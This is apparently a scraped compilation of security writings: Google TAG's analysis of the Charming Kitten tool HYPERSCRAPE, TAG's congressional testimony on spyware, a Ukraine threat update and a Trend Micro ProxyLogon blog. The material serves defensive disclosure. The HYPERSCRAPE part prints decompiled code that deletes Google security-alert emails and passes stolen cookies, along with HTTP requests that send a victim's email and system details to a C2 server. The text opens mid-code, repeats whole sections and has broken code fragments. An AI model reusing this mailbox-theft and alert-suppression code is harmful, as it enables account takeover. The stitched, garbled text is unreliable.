x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.


We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.


Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.


We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


TAG actively monitors threat actors and the evolution of their tactics and techniques.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.


TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.


Google has a long track record combating commercial surveillance tools targeting our users.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


We observed fewer than three dozen installs of this spyware.


We remediated the compromises for these users and implemented controls to protect all Android users.


NSO Group continues to pose risks across the Internet ecosystem.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


Google was able to identify the vulnerability in use and fix the exploit quickly.


In December 2021, we released research about novel techniques used by NSO Group to compromise iMessage users.


iPhone users could be compromised by receiving a malicious iMessage text, without ever needing to click a malicious link.


Short of not using a device, there is no way to prevent exploitation by a zero-click exploit; it's a weapon against which there is no defense.


Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.


Although this Committee must be concerned with the exploits of NSO Group, it is not the only entity posing risks to our users.


For example, TAG discovered campaigns targeting Armenian users which utilized zero-day vulnerabilities in Chrome and Internet Explorer.


We assessed that a surveillance vendor packaged and sold these technologies.


Reporting by CitizenLab linked this activity to Candiru, an Israeli spyware vendor.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


Most recently, we reported in May on five zero-day vulnerabilities affecting Chrome and Android which were used to compromise Android users.


We assess with high confidence that commercial surveillance company Cytrox packaged these vulnerabilities, and sold the hacking software to at least eight governments.


Among other targets, this spyware was used to compromise journalists and opposition politicians.


Our reporting is consistent with earlier analysis produced by CitizenLab and Meta.


TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.


The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.


Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.


These vendors operate with deep technical expertise to develop and operationalize exploits.


We believe its use is growing, fueled by demand from governments.


Seven of the nine zero-day vulnerabilities our Threat Analysis Group discovered in 2021 were originally developed by commercial providers and sold to and used by state-sponsored actors.


TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.


This industry appears to be thriving.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.


We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.


Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.


The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.


In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.


While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.


This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.


Across all Google products, we incorporate industry-leading security features and protections to keep our users safe.


On Search, Google’s Safe Browsing is an industry-leading service to identify unsafe websites across the web and notify users and website owners of potential harm.


Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.


Spoofers may send forged messages using an organization’s real name or domain to subvert authentication measures.


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


And we offer other advanced phishing and malware protection to administrators to better protect their users.


By default, Gmail displays warnings and moves untrustworthy emails to the user’s spam folder.


However administrators can also use advanced security settings to enhance their users’ protection against suspicious attachments and scripts from untrusted senders.


For Android, through its entire development lifecycle, we subject the products to a rigorous security program.


The Android security process begins early in the development lifecycle, and each major feature of the platform is reviewed by engineering and security resources.


We ensure appropriate controls are built into the architecture of the system.


During the development stage, Android-created and open source components are subject to vigorous security reviews


For users, Android provides safety and control over how apps and third parties can access the data from their devices.


For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.


We have also built additional tools to prevent successful attacks on devices that run Android once those devices are in users’ hands.


For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.


Although our security precautions are robust, security issues can still occur, which is why we created a comprehensive security response process to respond to incidents.


Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.


We also provide research grants to security researchers to help fund and support the research community.


This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.


Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.


Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.


Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.


We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.


To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.


APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.


We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.


The first step is to understand the scope of the problem.


We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.


The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.


We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.


Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.


The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.


Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.


Google is investing heavily as a company and as an industry to counter serious threats to our users.


In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.


While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.


Google is committed to leading the industry in detecting and disrupting these threats.


I thank the Committee for this attention on this critical issue.


Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.


Many Russian government cyber assets have remained focused on Ukraine and related issues since the invasion began, while Russian APT activity outside of Ukraine largely remains the same.


TAG continues to disrupt campaigns from multiple sets of Russian government-backed attackers, some of which are detailed in our previous updates.


Similarly, Russian observed disinformation efforts are also focused on the war in Ukraine and TAG has disrupted coordinated influence operations from several actors including the Internet Research Agency and a Russian consulting firm as detailed in the TAG Bulletin.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


This is the first known instance of Turla distributing Android-related malware.


The apps were not distributed through the Google Play Store, but hosted on a domain controlled by the actor and disseminated via links on third party messaging services.


We believe there was no major impact on Android users and that the number of installs was miniscule.


The app is distributed under the guise of performing Denial of Service (DoS) attacks against a set of Russian websites.


However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.


The list of target websites for the app can be seen in the CyberChef recipe here.


During our investigation into the Turla CyberAzov apps, we identified another Android app first seen in the wild in March 2022 that also claimed to conduct DoS attacks against Russian websites.


In this case, the Android app name was stopwar.apk (com.ddos.stopwar) and was distributed from the website stopwar.pro.


This app is quite different from the Turla apps described above and written by a different developer.


It also downloads a list of targets from an external site, but unlike the Turla apps, it continually sends requests to the target websites until it is stopped by the user.


Based on our analysis, we believe that the StopWar app was developed by pro-Ukrainian developers and was the inspiration for what Turla actors based their fake CyberAzov DoS app off of.


Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


Consistent with CERT-UA reporting, TAG observed multiple Russian GRU actors - APT28 and Sandworm - conduct campaigns exploiting the Follina vulnerability.


The Sandworm campaign used compromised government accounts to send links to Microsoft Office documents hosted on compromised domains, primarily targeting media organizations in Ukraine.


TAG has also observed an increasing number of financially motivated actors targeting Ukraine.


One recent campaign from a group tracked by CERT-UA as UAC-0098 delivered malicious documents with the Follina exploit in password-protected archives, impersonating the State Tax Service of Ukraine.


We assess this actor is a former initial ransomware access broker who previously worked with the Conti ransomware group distributing the IcedID banking trojan based on overlaps in infrastructure, tools used in previous campaigns, and a unique cryptor.


Ghostwriter/UNC1151, a threat actor attributed to Belarus, has remained active targeting accounts of webmail and social media networks of Polish users.


They continue to use the 'Browser in the Browser' phishing technique that TAG first observed and described in March.


An example of this technique, used to target Facebook users, can be seen in the screenshot below.


COLDRIVER, a Russian-based threat actor sometimes referred to as Callisto, continues to send credential phishing emails to targets including government and defense officials, politicians, NGOs and think tanks, and journalists.


In addition to including phishing links directly in the email, the attackers also link to PDFs and/or DOCs, hosted on Google Drive and Microsoft One Drive, that contain a link to an attacker-controlled phishing domain.


These phishing domains have been blocked through Google Safe Browsing – a service that identifies unsafe websites across the web and notifies users and website owners of potential harm.


Recently observed COLDRIVER indicators: In another campaign tracked by CERT-UA as UAC-0056 we observed compromised email addresses of a Regional Prosecutor’s office of Ukraine leveraged to send malicious Microsoft Excel documents with VBA macros delivering Cobalt Strike.


In just two days, the volume observed and categorized as spam by Gmail exceeded 4,500 emails.


Last March it seemed the world came to a stand-still as the COVID-19 pandemic begin to rapidly spread.


While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.


In 2020, the Trend Micro Zero Day Initiative™ (ZDI) published 1,453 advisories, the most ever in the history of the program.


More startling is the fact that 18.6% of all disclosures were published without a fix from the vendor—another record-breaking stat.


As ZDI predicted, 2021 continued to be a busy year.


In March 2021, Microsoft kicked off the patch cycle early after releasing an advisory regarding the mass exploitation of four zero-days vulnerabilities by a Chinese Hacking group, HAFNIUM, on the on-premises versions of the Microsoft Exchange Server.


In the following days of the attack, Trend Micro reported that at least 30,000 organizations were thought to have been attacked in the US, and 63,000 servers remained exposed to these exploits.


The vulnerability has been dubbed as ProxyLogon by the researchers at DEVCORE, who are credited with finding the bugs in the proxy architecture and the logon mechanism of Exchange.


DEVCORE reported two of the four zero-days (CVE-2021-26855 and CVE-2021-27065) to Microsoft Security Response Center (MSRC).


On March 2, Volexity reported in-the-wild exploitation of the vulnerabilities, to which DEVCORE confirmed that the exploit observed by Volexity was the one submitted to MSRC.


Since then, there has been opportunistic exploitation by various threat actors and ransomware groups (Dearcry, BlackKingdom) since majority of Outlook Web App portals are public and indexed by search engines like Google Search, Shodan, Binaryedge, Censys, Zoomeye etc.


According to Shodan, on March 4, there were more than 266,000 Exchange Servers vulnerable to the ProxyLogon vulnerability, a day after the patch was released.


Fig - Shodan Results


In lieu of these exploits, let’s take a look at how Trend Micro Vision One™ and Trend Micro Cloud One™ can provide protection against two of the four zero-days, CVE-2021-26855 and CVE-2021-27065.


Overview:


Two bugs are chained to achieve the remote code execution and for the attack to be successful, an attacker requires access to the Outlook Web App portal of the vulnerable Exchange Server, and a valid email address


CVE-2021-26855: Microsoft Exchange Server Remote Code Execution Vulnerability (pre-authenticated Server-Side Request Forgery [SSRF]) CVE-2021-27065: Microsoft Exchange Server Remote Code Execution Vulnerability (post-authenticated Arbitrary File Write)         Fig - MS Exchange Client Access Protocol Architecture     The Client Access services (Outlook Web App portal) proxies the incoming connections to the Backend services.


As per the Exchange documentation, clients don’t directly connect to the backend services.


But because of the SSRF vulnerability, attackers can query the internal backend services and APIs on the Exchange Server, bypassing the frontend proxy.


By abusing the SSRF, attackers can create session IDs and access tokens for privileged accounts with the context of the Exchange Control Panel, which can be used to write files with attacker-controlled content at a location on the target server, chosen by the attacker.


Since Exchange depends on Internet Information Services (IIS) webserver, an attacker can write ASPX webshells and run arbitrary commands as SYSTEM on the Exchange Server.  In January 2021, we came across extensive use of Chopper ASPX webshells in targeted attacks by malicious actors to establish persistence and a foothold on the public-facing Outlook Web App servers.   Trend Micro Cloud One™ – Workload Security Correlation:


Trend Micro Cloud One™ – Workload Security is a cloud-native solution that provides automated security via powerful APIs.


Security as code allows DevOps teams to bake security into their build pipeline to release continuously and frequently, so developers like yourself, can keep working without disruption from security.


Workload Security uses advanced security controls such as intrusion prevention system (IPS), deep packet inspection (DPI), and integrity monitoring to protect Exchange Servers from attackers that could exploit ProxyLogon.


The following detection rules safeguard a vulnerable Exchange Server from the CVEs reported:  Intrusion Prevention System detections:    1010854 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26855) 1010868 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065) 1010870 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065) – 1 1007170 - Identified Suspicious China Chopper Webshell Communication (ATT&CK T1100) 1005934 - Identified Suspicious Command Injection Attack  Integrity Monitoring detections:  1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities       1010854 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-26855)      1007170 - Identified Suspicious China Chopper Webshell Communication (ATT&CK T1100)      1010870 - Microsoft Exchange Server Remote Code Execution Vulnerability (CVE-2021-27065) - 1      1005934 - Identified Suspicious Command Injection Attack


IM Rules:      1010855 - Microsoft Exchange - HAFNIUM Targeted Vulnerabilities     Trend Micro Vision One™ Correlation:      Fig - Microsoft Exchange Server RCE Vulnerability (CVE-2021-26855 + CVE-2021-27065)     Trend Micro Vision One™ is a purpose-built, threat defense platform with extended detection and response (XDR) capabilities that work to prevent majority of attacks with automated protection.


The solution allows you to see more and respond faster by collecting and correlating data across email, endpoints, servers, cloud workloads, and networks.


Using the Trend Micro Vision One Workbench, you can easily see what threats were detected, attack techniques, and a prioritized list of risky devices and users.


With Trend Micro Vision One, we ran a public proof of concept (PoC) available online exploiting the ProxyLogon vulnerability.


The above image shows the vulnerability detected and all the assets related to the alert for further investigation.


Let’s take a deeper look:


Fig - Potential Chopper Webshell Detection


The Potential Chopper Webshell Execution model triggers when the web shell is already present on the machine and is being used as a backdoor to run commands as SYSTEM on the Exchange Server using China Chopper.  The metrics provided by this model should be investigated carefully, since the ProxyLogon zero-day vulnerability was exploited in-the-wild, before Microsoft addressed the issue publicly.


Microsoft has since taken things a step further by creating patches for out-of-support versions of Exchange.


Overall, Microsoft released patches for 89 unique CVEs in March—14 of which were listed as Critical and 75 listed as Important in severity.


Fig - Microsoft Exchange Server Possible ASPX Web Shell     The above model triggers when a new web shell is created.


You can see the path and name of the web shell.


Fig - Potential Chopper Webshell Execution      Fig - Identified Suspicious China Chopper Webshell Communication      Fig - Possible Credential Dumping via Command Line


This model is triggered when an attacker fetches the credentials using a command-line from within the memory using Mimikatz.


Since the web shell runs as the SYSTEM user, an attacker can fetch the NT LAN Manager (NTLM) hashes of the logged-in users, create or delete accounts, and perform extensive post-exploitation activities on the Exchange Server.      Figure - Executing Mimikatz as SYSTEM using CC      Fig - System Owner User Discovery     The above event was triggered when we ran whoami from within the Chopper web shell.


Since requests to the ASPX web shell are handled by the privileged w3wp.exe, an IIS Worker Process in the configured IIS application pool (Microsoft Exchange App pool) runs the commands in the context of NT Authority\SYSTEM user.


RCA Diagrams:      Fig. Executing commands using Chopper CnC     Conclusion


There is no silver bullet when it comes to cybersecurity but using solutions that bake into your development pipeline to provide security as early as possible is better than scrambling for patches after deployment.


Quick and easy to deploy solutions like Trend Micro Cloud One and Trend Micro Vision One can provide you with SecOps-approved security from build-time to runtime without slowing you down.


Imagine that!


Tags  Cloud | APT & Targeted Attacks | Expert Perspective | Exploits & Vulnerabilities | Articles, News, Reports


As part of TAG's mission to counter serious threats to Google and our users, we've analyzed a range of persistent threats including APT35 and Charming Kitten, an Iranian government-backed group that regularly targets high risk users.


For years, we have been countering this group’s efforts to hijack accounts, deploy malware, and their use of novel techniques to conduct espionage aligned with the interests of the Iranian government.


Now, we’re shining light on a new tool of theirs.


In December 2021, TAG discovered a novel Charming Kitten tool, named HYPERSCRAPE, used to steal user data from Gmail, Yahoo!, and Microsoft Outlook accounts.


The attacker runs HYPERSCRAPE on their own machine to download victims’ inboxes using previously acquired credentials.


The oldest known sample is from 2020, and the tool is still under active development.


We have taken actions to re-secure these accounts and have notified the victims through our Government Backed Attacker Warnings.


This post will provide technical details about HYPERSCRAPE, similar to PWC’s recently published analysis on a Telegram grabber tool.


HYPERSCRAPE demonstrates Charming Kitten’s commitment to developing and maintaining purpose-built capabilities.


Like much of their tooling, HYPERSCRAPE is not notable for its technical sophistication, but rather its effectiveness in accomplishing Charming Kitten’s objectives.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


It spoofs the user agent to look like an outdated browser, which enables the basic HTML view in Gmail.


Once logged in, the tool changes the account’s language settings to English and iterates through the contents of the mailbox, individually downloading messages as .eml files and marking them unread.


After the program has finished downloading the inbox, it reverts the language back to its original settings and deletes any security emails from Google.


Earlier versions contained the option to request data from Google Takeout, a feature which allows users to export their data to a downloadable archive file.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


We tested HYPERSCRAPE in a controlled environment with a test Gmail Account, although functionality may differ for Yahoo! and Microsoft accounts.


HYPERSCRAPE won't run unless in a directory with other file dependencies.


When launched, the tool makes an HTTP GET request to a C2 to check for a response body of "OK'' and will terminate if it's not found.


In the version tested, the C2 was unobfuscated and stored as a hardcoded string.


In later versions it was obfuscated with Base64.


GET http://{C2}/Index.php?Ck=OK HTTP/1.1


Host: {C2}


Accept-Encoding: gzip Connection: Keep-Alive


The tool accepts arguments from the command line such as the mode of operation, an identifier string, and a path string to a valid cookie file.


A new form is displayed if the information is not provided via command prompt.


Once provided, the data in the "Identity" field is sent to a C2 for confirmation.


Again, the response is expected to be "OK".


GET http://{C2}/Index.php?vubc={identity} HTTP/1.1


Host: {C2} Accept-Encoding: gzip


If the cookie file path was not supplied via the command line, a new form will allow the operator to do so using drag and drop.


After parsing, the cookies are inserted into a local cache used by the embedded web browser.


A new folder named "Download" is created adjacent to the main binary.


The browser then navigates to Gmail to begin the data collection.


The user agent is spoofed so it appears like an outdated browser, which results in an error message and allows the attacker to enable the basic HTML view in Gmail.


If the cookies failed to provide access to the account, a login page is displayed and the attacker can manually enter credentials to proceed, as the program will wait until it finds the inbox page.


Once the attacker has logged in to the victim’s account, HYPERSCRAPE checks to see if the language is set to English, changing it if not.


The language is returned to its original setting when the run is finished.


HYPERSCRAPE then begins iterating through all available tabs in the inbox looking for emails to download.


It does the following for each email found: The emails are saved with ".eml" extensions under the Downloads directory with the filename corresponding to the subject.


A log file is written containing a count of the emails that were downloaded.


When finished, a HTTP POST request is made to the C2 to relay the status and system information.


The downloaded emails are not sent to the C2.


POST http://{C2}/?Key={GUID}&Crc={Identifier} { "appName": "Gmail Downloader", "targetname": "{Email}", "HostName": "REDACTED", "srcUserIP": "REDACTED", "actionType": "First", "timeOccurrence": "05/01/2022 05:50:31 PM", "OS": "REDACTED", "OSVersion": "REDACTED", "SystemModel": "REDACTED", "SystemType": "REDACTED", "srcName": "REDACTED", "srcOrgName": "REDACTED" }


The program will delete any security emails from Google generated by the attacker’s activity.


private bool IsThereAnyEMail() { List < GeckoHtmlElement > list = (from x in this.geckoWebBrowser.Document.GetElementsByTagName("span") where x.TextContent.StartsWith ("Security alert") || x.TextContent.StartsWith("Archive of Google data requested") || x.TextContent.StartsWith("Your Google data archive is ready") || x.TextContent.StartsWith("Your Google data is ready") || x.TextContent.StartsWith("Critical security alert") ||


x.TextContent.StartsWith("Access for less secure apps has been turned on") ||


x.TextContent.StartsWith("Review blocked sign-in attempt") || x.TextContent.


StartsWith("Help us protect you: Security advice from Google")


x.TextContent.StartsWith("Access for less secure apps has been turned on") select x).ToList


GeckoHtmlElement > (


; bool flag = list.Count == 0; return !flag; }


Data from Google Takeout is also available upon request, but the option was only found in early builds.


The functionality was not automated and it's unclear why it was removed in later versions.


When conducting a Takeout, the program will spawn a new copy of itself and initialize a pipe communication channel to relay the cookies and account name, both of which are required to accomplish the Takeout.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


public void ManageTakeOut() { string text = "PipeName";


Process process = new Process(); process.StartInfo.Arguments = string.Format("PIPE Google \"{0}\"", text); process.StartInfo.FileName = Process.GetCurrentProcess().MainModule.FileName; process.Start();


PipeCommunication pipeCommunication = new PipeCommunication(true, text); bool flag = false; while (!flag)


{ try { JsonInfo jsonInfo = pipeCommunication.Read(); switch (jsonInfo.Type) { case JsonType.GetCookies: jsonInfo.Data = this.CookieText; pipeCommunication.Write(jsonInfo); break; case JsonType.TakeOutFile: flag = true; break; case JsonType.GetUsername: while (this.OperationObject.GetUsername() == null) { Thread.Sleep(1000); }


jsonInfo.Data = this.OperationObject.GetUsername(); pipeCommunication.Write(jsonInfo); break; } }


catch (Exception) { bool hasExited = process.HasExited; if (hasExited) { flag = true; } }


pipeCommunication.Close(); }


TAG is committed to sharing research to raise awareness on bad actors like Charming Kitten within the security community, and for companies and individuals that may be targeted.


It’s why we do things like work with our CyberCrime Investigation Group to share critical information relevant to law enforcement.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


We’ll also continue to apply those findings internally to improve the safety and security of our products so we can effectively combat threats and protect users who rely on our services.


In the meantime, we encourage high risk users to enroll in our Advanced Protection Program (APP) and utilize Google Account Level Enhanced Safe Browsing to ensure they have the greatest level of protection in the face of ongoing threats.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


03d0e7ad4c12273a42e4c95d854408b98b0cf5ecf5f8c5ce05b24729b6f4e369 35a485972282b7e0e8e3a7a9cbf86ad93856378fd96cc8e230be5099c4b89208 5afc59cd2b39f988733eba427c8cf6e48bd2e9dc3d48a4db550655efe0dca798 6dc0600de00ba6574488472d5c48aa2a7b23a74ff1378d8aee6a93ea0ee7364f 767bd025c8e7d36f64dbd636ce0f29e873d1e3ca415d5ad49053a68918fe89f4 977f0053690684eb509da27d5eec2a560311c084a4a133191ef387e110e8b85f ac8e59e8abeacf0885b451833726be3e8e2d9c88d21f27b16ebe00f00c1409e6 cd2ba296828660ecd07a36e8931b851dda0802069ed926b3161745aae9aa6daa Microsoft Live DLL 1a831a79a932edd0398f46336712eff90ebb5164a189ef38c4dacc64ba84fe23 PDB E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\EmailDownloader\obj\Debug\EmailDownloader.pdb E:\Working\Projects\EmailDownloader\EmailDownloaderCookieMode\Mahdi\LiveLib\obj\Release\LiveLib.pdb


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


It was last updated on July 29, 2022.


The following testimony was delivered to the U.S. House Intelligence Committee by Shane Huntley, Senior Director of Google’s Threat Analysis Group (TAG) on July 27, 2022.  Chairman Schiff, Ranking Member Turner, and esteemed Members of the Committee: Thank you for the opportunity to appear before the Committee to discuss Google’s efforts to protect users from commercial spyware.


We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.


Google has been tracking the activities of commercial spyware vendors for years, and we have been taking critical steps to protect our users.


We take the security of our users very seriously, and we have dedicated teams in place to protect against attacks from a wide range of sources.


Our Threat Analysis Group, or TAG, is dedicated to protecting users from threats posed by state-sponsored malware attacks and other advanced persistent threats.


TAG actively monitors threat actors and the evolution of their tactics and techniques.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


We use our research to continuously improve the safety and security of our products and share this intelligence with our industry peers.


We also publicly release information about the operations we disrupt, which is available to our government partners and the general public.


TAG tracks and proactively counters serious state-sponsored and financially motivated information cyber criminal activities, such as hacking and the use of spyware.


And we don’t just plug security holes – we work to eliminate entire classes of threats for consumers and businesses whose work depends on the Internet.


We are joined in this effort by many other security teams at Google, including Project Zero, our team of security researchers at Google who study zero-day vulnerabilities in the hardware and software systems that are depended upon by users around the world.


Google has a long track record combating commercial surveillance tools targeting our users.


In 2017, Android – which is owned by Google – was the first mobile platform to warn users about NSO Group’s Pegasus spyware.


At the time, our Android team released research about a newly discovered family of spyware related to Pegasus that was used in a targeted attack on a small number of Android devices.


We observed fewer than three dozen installs of this spyware.


We remediated the compromises for these users and implemented controls to protect all Android users.


NSO Group continues to pose risks across the Internet ecosystem.


In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups’s marketing information suggesting that they had a 0-day exploit for Android.


